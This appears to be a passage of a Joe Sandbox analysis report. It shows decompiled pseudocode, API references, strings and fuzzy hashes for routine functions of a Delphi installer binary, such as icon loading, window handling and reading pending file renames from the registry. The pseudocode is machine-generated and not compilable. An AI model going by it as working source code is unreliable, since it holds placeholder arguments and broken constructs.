Function 0042FFDC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 23
registryclipboardthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0042FFDC() {
				char _v4;
				long _v8;
				char _v12;
				char _v16;
				char _v48;
				char _t9;
				short _t13;

				 *0x48f674 = RegisterClipboardFormatA("commdlg_help");
				 *0x48f678 = RegisterClipboardFormatA("commdlg_FindReplace");
				_t9 =  *0x48f014; // 0x400000
				_v16 = _t9;
				_v12 = 0;
				_v8 = GetCurrentThreadId();
				_v4 = 0;
				_t13 = GlobalAddAtomA(E00407858( &_v48,  &_v16, "WndProcPtr%.8X%.8X", 1)); // executed
				 *0x48e7ec = _t13;
				return _t13;
			}

0x0042ffe9
0x0042fff8
0x0042ffff
0x00430004
0x00430008
0x00430012
0x00430016
0x0043002e
0x00430033
0x0043003c

APIs

RegisterClipboardFormatA.USER32 ref: 0042FFE4
RegisterClipboardFormatA.USER32 ref: 0042FFF3
GetCurrentThreadId.KERNEL32 ref: 0043000D
GlobalAddAtomA.KERNEL32 ref: 0043002E

Strings

WndProcPtr%.8X%.8X, xrefs: 0043001F
commdlg_help, xrefs: 0042FFDF
commdlg_FindReplace, xrefs: 0042FFEE

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
API String ID: 4130936913-2943970505
Opcode ID: e7eacd8e0cfd777acf866629c3e6d7bebe0749c578319a26befa6026fa7b7a9d
Instruction ID: 3d581f31e7faea89bbe3ef6541795b4c6a448cbff3c72f456bb60799a018f4d5
Opcode Fuzzy Hash: e7eacd8e0cfd777acf866629c3e6d7bebe0749c578319a26befa6026fa7b7a9d
Instruction Fuzzy Hash: 6CF05E744483809AD700EB35990271E77E09B48708F104A3FB848A62A2E7788514DB1F

Uniqueness

Uniqueness Score: -1.00%

Function 00423670 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00423670(void* __ecx, char __edx, void* __edi) {
				char _v5;
				char _v261;
				void* __esi;
				void* __ebp;
				int _t29;
				struct HINSTANCE__* _t40;
				intOrPtr _t44;
				struct HINSTANCE__* _t46;
				void* _t52;
				char* _t54;
				int _t65;
				void* _t66;
				char _t68;
				void* _t78;
				void* _t80;
				void* _t81;

				_t78 = __edi;
				_t68 = __edx;
				_t66 = __ecx;
				if(__edx != 0) {
					_t81 = _t81 + 0xfffffff0;
					_t29 = E00402D48(_t29, _t80);
				}
				_v5 = _t68;
				_t65 = _t29;
				E00410204(_t66, 0);
				 *((intOrPtr*)(_t65 + 0x70)) = E00402B48(1);
				 *((intOrPtr*)(_t65 + 0x80)) = E00402B48(1);
				 *((intOrPtr*)(_t65 + 0x40)) = 0;
				 *((intOrPtr*)(_t65 + 0x60)) = 0;
				 *((intOrPtr*)(_t65 + 0x3c)) = 0x80000018;
				 *((intOrPtr*)(_t65 + 0x54)) = 0x1f4;
				 *((intOrPtr*)(_t65 + 0x58)) = 0x32;
				 *((intOrPtr*)(_t65 + 0x5c)) = 0x9c4;
				 *((char*)(_t65 + 0x64)) = 0;
				 *((char*)(_t65 + 0x7d)) = 1;
				_t79 = E0041D9F8(1);
				 *((intOrPtr*)(_t65 + 0x78)) = _t39;
				_t40 =  *0x48f014; // 0x400000
				E0041DD84(_t79, LoadIconA(_t40, "MAINICON"));
				_t13 = _t65 + 0x78; // 0xc23bc88b
				_t44 =  *_t13;
				 *((intOrPtr*)(_t44 + 8)) = _t65;
				 *((intOrPtr*)(_t44 + 4)) = 0x424a88;
				_t46 =  *0x48f014; // 0x400000
				GetModuleFileNameA(_t46,  &_v261, 0x100);
				OemToCharA( &_v261,  &_v261);
				_t52 = E00407458( &_v261, 0x5c);
				if(_t52 != 0) {
					_t20 = _t52 + 1; // 0x1
					E004072C0( &_v261, _t20);
				}
				_t54 = E00407438( &_v261, 0x2e);
				if(_t54 != 0) {
					 *_t54 = 0;
				}
				CharLowerA( &(( &_v261)[1]));
				_t24 = _t65 + 0x6c; // 0x41edf4
				E00403574(_t24, 0x100,  &_v261);
				if( *0x48f034 == 0) {
					E00423858(_t65, _t78, _t79);
				}
				 *((char*)(_t65 + 0x39)) = 1;
				 *((char*)(_t65 + 0x3a)) = 1;
				if(_v5 != 0) {
					_pop( *[fs:0x0]);
				}
				return _t65;
			}

0x00423670
0x00423670
0x00423670
0x0042367d
0x0042367f
0x00423682
0x00423682
0x00423687
0x0042368a
0x00423690
0x004236a1
0x004236b0
0x004236b8
0x004236bd
0x004236c0
0x004236c7
0x004236ce
0x004236d5
0x004236dc
0x004236e0
0x004236f0
0x004236f2
0x004236fa
0x00423709
0x0042370e
0x0042370e
0x00423711
0x00423714
0x00423727
0x0042372d
0x00423740
0x0042374d
0x00423754
0x00423756
0x0042375f
0x0042375f
0x0042376c
0x00423773
0x00423775
0x00423775
0x00423780
0x00423785
0x00423793
0x0042379f
0x004237a3
0x004237a3
0x004237a8
0x004237ac
0x004237b4
0x004237b6
0x004237bd
0x004237c7

APIs

LoadIconA.USER32 ref: 00423700
GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FCA,00000000,?,?,00000001,00000000), ref: 0042372D
OemToCharA.USER32 ref: 00423740
CharLowerA.USER32(?,?,?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FCA,00000000,?,?,00000001), ref: 00423780

Strings

MAINICON, xrefs: 004236F5
2, xrefs: 004236CE

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: 2$MAINICON
API String ID: 3935243913-3181700818
Opcode ID: d3d727af98377c70457c2042d0d517341fe3b648e56e64100d48c2ba13840636
Instruction ID: 7fa377c5858703c9b86f8d9647c5be010cde8b535fd454def1f59ee6837335bc
Opcode Fuzzy Hash: d3d727af98377c70457c2042d0d517341fe3b648e56e64100d48c2ba13840636
Instruction Fuzzy Hash: C531C4B0A042449EDB10EF29D8C57C97BE89F15308F4041BAE844DF397D7BED9888B69

Uniqueness

Uniqueness Score: -1.00%

Function 00418F1C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418F1C(void* __edi, void* __eflags) {
				char _v8;
				long _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v56;
				char _v60;
				short _t14;
				char _t15;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t27;
				intOrPtr _t29;

				_v24 = GetCurrentProcessId();
				_v20 = 0;
				_t14 = GlobalAddAtomA(E00407858( &_v56,  &_v24, "Delphi%.8X", 0)); // executed
				 *0x48f5c6 = _t14;
				_t15 =  *0x48f014; // 0x400000
				_v20 = _t15;
				_v16 = 0;
				_v12 = GetCurrentThreadId();
				_v8 = 0;
				 *0x48f5c8 = GlobalAddAtomA(E00407858( &_v60,  &_v20, "ControlOfs%.8X%.8X", 1));
				 *0x48f600 = E00402B48(1);
				_t22 =  *0x48f600; // 0x22f0638
				E0040B59C(_t22, 4);
				_t25 = E004230AC(1); // executed
				 *0x48f62c = _t25;
				_t27 = E00423670(0, 1, __edi); // executed
				 *0x48f628 = _t27;
				E0041F0FC();
				_t29 =  *0x48f628; // 0x22f2410
				E004248E4(_t29, 1);
				E00406984(E00418EEC, 1);
				return E0040AF80(0x412a04, 0x4138a4, 0x4138d8);
			}

0x00418f26
0x00418f2a
0x00418f42
0x00418f47
0x00418f4f
0x00418f54
0x00418f58
0x00418f62
0x00418f66
0x00418f83
0x00418f95
0x00418f9f
0x00418fa4
0x00418fb2
0x00418fb7
0x00418fc5
0x00418fca
0x00418fcf
0x00418fd6
0x00418fdb
0x00418fe5
0x00419001

APIs

GetCurrentProcessId.KERNEL32(00000000), ref: 00418F21
GlobalAddAtomA.KERNEL32 ref: 00418F42
GetCurrentThreadId.KERNEL32 ref: 00418F5D
GlobalAddAtomA.KERNEL32 ref: 00418F7E

Part of subcall function 004230AC: 73AFAC50.USER32(00000000,?,?,00000000,?,00418FB7,00000000,?,?,00000001,00000000), ref: 00423102
Part of subcall function 004230AC: EnumFontsA.GDI32(00000000,00000000,0042304C,00410634,00000000,?,?,00000000,?,00418FB7,00000000,?,?,00000001,00000000), ref: 00423115
Part of subcall function 004230AC: 73AFAD70.GDI32(00000000,0000005A,00000000,00000000,0042304C,00410634,00000000,?,?,00000000,?,00418FB7,00000000,?,?,00000001), ref: 0042311D
Part of subcall function 004230AC: 73AFB380.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,0042304C,00410634,00000000,?,?,00000000,?,00418FB7,00000000), ref: 00423128

Part of subcall function 00423670: LoadIconA.USER32 ref: 00423700
Part of subcall function 00423670: GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418FCA,00000000,?,?,00000001,00000000), ref: 0042372D
Part of subcall function 00423670: OemToCharA.USER32 ref: 00423740
Part of subcall function 00423670: CharLowerA.USER32(?,?,?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418FCA,00000000,?,?,00000001), ref: 00423780

Part of subcall function 0041F0FC: GetVersion.KERNEL32(?,00418FD4,00000000,?,?,00000001,00000000), ref: 0041F10A
Part of subcall function 0041F0FC: SetErrorMode.KERNEL32(00008000,?,00418FD4,00000000,?,?,00000001,00000000), ref: 0041F126
Part of subcall function 0041F0FC: LoadLibraryA.KERNEL32(CTL3D32.DLL,00008000,?,00418FD4,00000000,?,?,00000001,00000000), ref: 0041F132
Part of subcall function 0041F0FC: SetErrorMode.KERNEL32(00000000,CTL3D32.DLL,00008000,?,00418FD4,00000000,?,?,00000001,00000000), ref: 0041F140
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,Ctl3dRegister), ref: 0041F170
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,Ctl3dUnregister), ref: 0041F199
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassCtl), ref: 0041F1AE
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,Ctl3dSubclassDlgEx), ref: 0041F1C3
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,Ctl3dDlgFramePaint), ref: 0041F1D8
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,Ctl3dCtlColorEx), ref: 0041F1ED
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,Ctl3dAutoSubclass), ref: 0041F202
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,Ctl3dUnAutoSubclass), ref: 0041F217
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,Ctl3DColorChange), ref: 0041F22C
Part of subcall function 0041F0FC: GetProcAddress.KERNEL32(00000001,BtnWndProc3d), ref: 0041F241

Strings

Delphi%.8X, xrefs: 00418F33
ControlOfs%.8X%.8X, xrefs: 00418F6F

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc$AtomCharCurrentErrorGlobalLoadMode$B380EnumFileFontsIconLibraryLowerModuleNameProcessThreadVersion
String ID: ControlOfs%.8X%.8X$Delphi%.8X
API String ID: 879771667-2767913252
Opcode ID: aa67d3daeb8707f3c8e9bba54f3ad579ea3bb7aec1a807591bda911964a6ee50
Instruction ID: 1b4a44e4abfb6ea8360da9e3ea6a857f9789cdc943c5ea6839331ea518f9c664
Opcode Fuzzy Hash: aa67d3daeb8707f3c8e9bba54f3ad579ea3bb7aec1a807591bda911964a6ee50
Instruction Fuzzy Hash: 3A11F1746182809AC700FF79984664E77D0EB9830CF50853FF548EB2A1EB399949DB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00413620 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00413620(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* _t19;
				void* _t20;
				struct HWND__* _t23;
				void* _t25;
				void* _t29;
				void* _t33;
				long _t37;
				intOrPtr* _t41;

				_t41 =  &_v8;
				_t19 =  *0x48e2d8; // 0x0
				 *((intOrPtr*)(_t19 + 0xc0)) = _a4;
				_t20 =  *0x48e2d8; // 0x0
				_t23 = SetWindowLongA(_a4, 0xfffffffc,  *(_t20 + 0xa8));
				_push(0xfffffff0);
				asm("lock mov eax, [ebp+0x8]");
				if((GetWindowLongA(_t23, ??) & 0x40000000) != 0) {
					_t37 = GetWindowLongA(_a4, 0xfffffff4);
					if(_t37 == 0) {
						SetWindowLongA(_a4, 0xfffffff4, _a4);
					}
				}
				_t25 =  *0x48e2d8; // 0x0
				SetPropA(_a4, ??, ??);
				_t29 =  *0x48e2d8; // 0x0
				SetPropA(_a4,  *0x48f5c6 & 0x0000ffff, _t29);
				_t33 =  *0x48e2d8; // 0x0
				 *0x48e2d8 = 0; // executed
				_v8 =  *((intOrPtr*)(_t33 + 0xa8))(_a4, _a8, _a12, _a16,  *0x48f5c8 & 0x0000ffff, _t25);
				return  *_t41;
			}

0x00413625
0x00413628
0x00413630
0x00413636
0x00413648
0x0041364d
0x0041364e
0x0041365d
0x00413665
0x0041366c
0x00413678
0x00413678
0x0041366c
0x0041367d
0x0041368f
0x00413694
0x004136a6
0x004136b7
0x004136bd
0x004136cd
0x004136d5

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 00413648
GetWindowLongA.USER32 ref: 00413653
GetWindowLongA.USER32 ref: 00413665
SetWindowLongA.USER32(?,000000F4,?), ref: 00413678
SetPropA.USER32 ref: 0041368F
SetPropA.USER32 ref: 004136A6

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: LongWindow$Prop
String ID:
API String ID: 3887896539-0
Opcode ID: bca78c0abd1e769fefdd307b0e304f432521cb58dbc5c3437f5fb0cbde78b182
Instruction ID: ddf9fe5e7ba4dcb1517a1eee0c6063af63038cac47ec81f8da91bd6392d66bb8
Opcode Fuzzy Hash: bca78c0abd1e769fefdd307b0e304f432521cb58dbc5c3437f5fb0cbde78b182
Instruction Fuzzy Hash: 5A11DA76600248BFDF00DF99DC84E9A37ECEB08364F104665FA18DB2A2D738D990CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004537EC Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 142
registryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E004537EC(intOrPtr __eax, void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				void* _v12;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				char _v112;
				char _v4208;
				char _v4212;
				char _v4216;
				void* _t41;
				void* _t70;
				void* _t80;
				void* _t86;
				void* _t105;
				void* _t106;
				intOrPtr _t111;
				intOrPtr _t113;
				intOrPtr _t119;
				void* _t129;
				void* _t130;
				intOrPtr _t132;

				_t129 = _t130;
				_push(__eax);
				_t132 = _t130 + 0xffffffffffffef90;
				_v4212 = 0;
				_v4216 = 0;
				_v16 = 0;
				_v20 = 0;
				_v8 = __eax;
				_push(_t129);
				_push(0x4539c3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t132;
				_t41 = E004302CC( &_v112);
				_push(_t129);
				_push(0x453983);
				_push( *[fs:edx]);
				 *[fs:edx] = _t132;
				if(E0042DA0C(_t41) == 0) {
					E0042D754( &_v4216);
					E0042C3E0(_v4216,  &_v4212);
					E004035D8( &_v20, "WININIT.INI", _v4212);
					if(E0042CC44(_v20) == 0) {
						goto L12;
					} else {
						_v24 = E0044F788(1, 1, 0, 2);
						_push(_t129);
						_push(0x453972);
						_push( *[fs:edx]);
						 *[fs:edx] = _t132;
						while( *((intOrPtr*)( *_v24 + 8))() != 0) {
							E004302F4( &_v112, _t62,  &_v4208);
						}
						_pop(_t119);
						 *[fs:eax] = _t119;
						_push(0x453979);
						return E00402B70(_v24);
					}
				} else {
					_t70 = E0042DC1C(0, "SYSTEM\\CurrentControlSet\\Control\\Session Manager", 0x80000002,  &_v12, 1, 0); // executed
					if(_t70 == 0) {
						if(E0042DB58() != 0) {
							_push(E0040358C(_v16));
							_t86 = E0040375C( &_v16);
							_pop(_t106);
							E004302F4( &_v112, _t106, _t86);
						}
						if(E0042DB58() != 0) {
							_push(E0040358C(_v16));
							_t80 = E0040375C( &_v16);
							_pop(_t105);
							E004302F4( &_v112, _t105, _t80);
						}
						RegCloseKey(_v12);
					}
					L12:
					_pop(_t111);
					 *[fs:eax] = _t111;
					E004303A4( &_v112, _v8);
					_pop(_t113);
					 *[fs:eax] = _t113;
					_push(0x4539ca);
					E00403438( &_v4216, 2);
					return E00403438( &_v20, 2);
				}
			}

0x004537ed
0x004537f5
0x004537f6
0x004537fe
0x00453804
0x0045380a
0x0045380d
0x00453810
0x00453815
0x00453816
0x0045381b
0x0045381e
0x00453824
0x0045382b
0x0045382c
0x00453831
0x00453834
0x0045383e
0x004538d9
0x004538ea
0x004538fd
0x0045390c
0x00000000
0x0045390e
0x00453923
0x00453928
0x00453929
0x0045392e
0x00453931
0x00453934
0x00453955
0x00453955
0x0045395e
0x00453961
0x00453964
0x00453971
0x00453971
0x00453844
0x00453858
0x0045385f
0x00453877
0x00453881
0x00453885
0x0045388f
0x00453890
0x00453890
0x004538a7
0x004538b1
0x004538b5
0x004538bf
0x004538c0
0x004538c0
0x004538c9
0x004538c9
0x00453979
0x0045397b
0x0045397e
0x00453993
0x0045399a
0x0045399d
0x004539a0
0x004539b0
0x004539c2
0x004539c2

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,00453983,?,00000000,004539C3), ref: 004538C9

Strings

SYSTEM\CurrentControlSet\Control\Session Manager, xrefs: 0045384C
PendingFileRenameOperations, xrefs: 00453868
PendingFileRenameOperations2, xrefs: 00453898
WININIT.INI, xrefs: 004538F8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseOpen
String ID: PendingFileRenameOperations$PendingFileRenameOperations2$SYSTEM\CurrentControlSet\Control\Session Manager$WININIT.INI
API String ID: 47109696-2199428270
Opcode ID: 7a7d3f93bb0f61c9280be79a8205d29edd882a6fb67ab88c9e7bdf572148e07c
Instruction ID: c46a7a88081cef8afab9c47a691f47b0e02e7274124f98e0df333a42af0b072a
Opcode Fuzzy Hash: 7a7d3f93bb0f61c9280be79a8205d29edd882a6fb67ab88c9e7bdf572148e07c
Instruction Fuzzy Hash: 6251C6B0E002489BDB14EF61D851ADEB7B9EF44345F50857BB804A7282DB78AF49CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00461ADC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115
windowCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00461ADC(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				char _v8;
				char _v348;
				int _v356;
				struct _SHFILEINFO _v360;
				int _t54;
				int _t65;
				void* _t68;
				void* _t69;
				void* _t76;
				void* _t77;
				intOrPtr _t92;
				intOrPtr _t93;
				void* _t104;
				void* _t105;
				intOrPtr _t106;

				_t102 = __esi;
				_t101 = __edi;
				_t104 = _t105;
				_t106 = _t105 + 0xfffffe9c;
				_push(__esi);
				_push(__edi);
				_v8 = 0;
				_push(_t104);
				_push(0x461c61);
				_push( *[fs:eax]);
				 *[fs:eax] = _t106;
				E00414600( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2dc)), 0x20);
				E00414620( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2dc)), 0x20);
				E00414600( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2e0)), 0x20);
				E00414620( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2e0)), 0x20);
				_push(_t104);
				_push(0x461c41);
				_push( *[fs:eax]);
				 *[fs:eax] = _t106;
				_t54 = SHGetFileInfo("c:\\directory", 0x10,  &_v360, 0x160, 0x1010); // executed
				if(_t54 != 0) {
					_t109 = _v348;
					if(_v348 != 0) {
						_t76 =  *0x48f014; // 0x400000
						_t77 = ExtractIconA(_t76,  &_v348, _v356); // executed
						E00461A1C(_t77,  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2dc)), __edi);
					}
				}
				E00474714(0, 2, _t101, _t102, _t109,  &_v8); // executed
				if(_v8 == 0) {
					E00474714(1, 2, _t101, _t102, 0,  &_v8);
				}
				if(_v8 != 0) {
					_t65 = SHGetFileInfo(E00403750(_v8), 0,  &_v360, 0x160, 0x1000); // executed
					if(_t65 != 0 && _v348 != 0) {
						_t68 =  *0x48f014; // 0x400000
						_t69 = ExtractIconA(_t68,  &_v348, _v356); // executed
						E00461A1C(_t69,  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x2e0)), _t101);
					}
				}
				_pop(_t92);
				 *[fs:eax] = _t92;
				_pop(_t93);
				 *[fs:eax] = _t93;
				_push(E00461C68);
				return E00403418( &_v8);
			}

0x00461adc
0x00461adc
0x00461add
0x00461adf
0x00461ae6
0x00461ae7
0x00461aea
0x00461aef
0x00461af0
0x00461af5
0x00461af8
0x00461b0c
0x00461b22
0x00461b38
0x00461b4e
0x00461b55
0x00461b56
0x00461b5b
0x00461b5e
0x00461b79
0x00461b80
0x00461b82
0x00461b89
0x00461b99
0x00461b9f
0x00461bb0
0x00461bb0
0x00461b89
0x00461bbf
0x00461bc8
0x00461bd4
0x00461bd4
0x00461bdd
0x00461bfb
0x00461c02
0x00461c1b
0x00461c21
0x00461c32
0x00461c32
0x00461c02
0x00461c39
0x00461c3c
0x00461c4d
0x00461c50
0x00461c53
0x00461c60

APIs

SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00461B79
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00461B9F

Part of subcall function 00461A1C: DrawIconEx.USER32 ref: 00461AB4
Part of subcall function 00461A1C: DestroyCursor.USER32(00000000), ref: 00461ACA

SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00461BFB
ExtractIconA.SHELL32(00400000,00000000,?), ref: 00461C21

Strings

c:\directory, xrefs: 00461B74

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Icon$ExtractFileInfo$CursorDestroyDraw
String ID: c:\directory
API String ID: 2926980410-3984940477
Opcode ID: 4efb9b85c9dda884be98c7544709cc12aea5fe9e1cc8288af3e2c3809c1c7e1f
Instruction ID: 63b0402a6207f92fc6075a64d4787570c5c31164492b01507c40da35ff337d98
Opcode Fuzzy Hash: 4efb9b85c9dda884be98c7544709cc12aea5fe9e1cc8288af3e2c3809c1c7e1f
Instruction Fuzzy Hash: F3416D74640248AFD711DF55DD8AFDFB7E8EB49304F1480A6F804DB391E678AE808B69

Uniqueness

Uniqueness Score: -1.00%

Function 00423A68 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423A68(void* __eax, void* __ecx) {
				struct HWND__* _v16;
				int _t17;
				void* _t28;
				void* _t33;
				long _t34;

				_t28 = __eax;
				_t17 =  *0x48f628; // 0x22f2410
				if( *((intOrPtr*)(_t17 + 0x20)) != 0) {
					if( *((intOrPtr*)(__eax + 0x74)) == 0) {
						 *_t34 =  *((intOrPtr*)(__eax + 0x20));
						EnumWindows(E00423A00, _t34); // executed
						_t17 =  *(_t28 + 0x70);
						if( *((intOrPtr*)(_t17 + 8)) != 0) {
							_v16 = GetWindow(_v16, 3);
							if((GetWindowLongA(_v16, 0xffffffec) & 0x00000008) != 0) {
								_v16 = 0xfffffffe;
							}
							_t17 =  *(_t28 + 0x70);
							_t33 =  *((intOrPtr*)(_t17 + 8)) - 1;
							if(_t33 >= 0) {
								do {
									_t12 =  &_v16; // 0x424140
									_t17 = SetWindowPos(E0040B420( *(_t28 + 0x70), _t33),  *_t12, 0, 0, 0, 0, 0x13);
									_t33 = _t33 - 1;
								} while (_t33 != 0xffffffff);
							}
						}
					}
					 *((intOrPtr*)(_t28 + 0x74)) =  *((intOrPtr*)(_t28 + 0x74)) + 1;
				}
				return _t17;
			}

0x00423a6b
0x00423a6d
0x00423a76
0x00423a7c
0x00423a81
0x00423a8c
0x00423a91
0x00423a98
0x00423aa6
0x00423ab7
0x00423ab9
0x00423ab9
0x00423ac0
0x00423ac6
0x00423aca
0x00423acc
0x00423ad6
0x00423ae6
0x00423aeb
0x00423aec
0x00423acc
0x00423aca
0x00423a98
0x00423af1
0x00423af1
0x00423af7

APIs

EnumWindows.USER32(00423A00), ref: 00423A8C
GetWindow.USER32(?,00000003), ref: 00423AA1
GetWindowLongA.USER32 ref: 00423AB0
SetWindowPos.USER32(00000000,@AB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,0042418F,?,?,00423D57), ref: 00423AE6

Strings

@AB, xrefs: 00423AD6, 00423ADA

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$EnumLongWindows
String ID: @AB
API String ID: 4191631535-4268427818
Opcode ID: fad5b0840d9b80b932d59a0f0d1da196681ef992e80faad8d842702c61fe3379
Instruction ID: a5dc8fa9b8a2f99578583ec2e81c8c31737274e5edfccecfa54f69911a77f800
Opcode Fuzzy Hash: fad5b0840d9b80b932d59a0f0d1da196681ef992e80faad8d842702c61fe3379
Instruction Fuzzy Hash: 72117C70744610ABDB10DF28DC86F5A73E4EB08725F10067AF994AB2E2C3B8DD41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004019CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004019CC() {
				void* _t11;
				signed int _t13;
				intOrPtr _t19;
				void* _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E00401A82);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0x48f420);
				L00401320();
				if( *0x48f036 != 0) {
					_push(0x48f420);
					L00401328();
				}
				E00401390(0x48f440);
				E00401390(0x48f450);
				E00401390(0x48f47c);
				_t11 = LocalAlloc(0, 0xff8); // executed
				 *0x48f478 = _t11;
				if( *0x48f478 != 0) {
					_t13 = 3;
					do {
